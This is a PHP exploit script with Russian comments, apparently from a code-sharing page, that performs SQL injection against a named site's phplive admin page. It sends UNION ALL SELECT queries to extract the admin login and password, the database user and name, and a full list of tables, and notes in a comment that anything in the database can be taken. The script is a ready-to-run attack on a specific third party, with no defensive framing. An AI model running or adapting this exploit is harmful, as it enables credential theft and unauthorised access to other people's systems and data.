php exploit coded by vovka pw site полный путь sql место для запроса q

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
/* exploit coded by vovka.pw */
/*
* $site - полный путь. {sql} - место для запроса
* $query - запрос
* $regex - регулярное выражение для получения данных из страницы
*/
set_time_limit(0);
function query($site, $query, $regex) {
$query = urlencode(' '.$query);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => str_replace('{sql}', $query, $site)
));
$res = curl_exec($ch);
preg_match($regex, $res, $data);
return $data[1];
}
/* костыль для query() под fxintegral */
function easyQuery($sql) {
return query('http://www.fxintegral.com/phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=integral&x=1&questid=-1{sql}',
$sql,
'/<p class="answer"><i>(.*?)<\/i><\/p>/'
);
}
/* по-сути можно достать с БД что-угодно */
$sql1 = 'UNION ALL SELECT 1,2,3,4,5,6,7,concat(login,char(58),password) FROM chat_asp limit 0,1'; //sql query
/* вывод результата */
echo 'Логин и пароль для http://www.fxintegral.com/phplive/setup/: <b>'.easyQuery($sql1).'</b><br/>';
$sql2 = 'UNION ALL SELECT 1,2,3,4,5,6,7,concat(user(),char(58),database())'; //sql query
/* вывод результата */
echo 'Пользователь и база данных: <b>'.easyQuery($sql2).'</b><br/>';
@flush();
/* получаем все таблицы базы данных */
$count = (int) easyQuery("UNION ALL SELECT 1,2,3,4,5,6,7,COUNT(*) FROM information_schema.tables WHERE data_length > 0 limit 0,1");
echo 'Всего таблиц в БД: <b>'.$count.'</b><br/>';
echo '<center>СПИСОК ТАБЛИЦ</center><br/>';
for($i = 0; $i < $count; $i++)
echo easyQuery("UNION ALL SELECT 1,2,3,4,5,6,7,table_name FROM information_schema.tables WHERE data_length > 0 limit $i,1").'<br/>';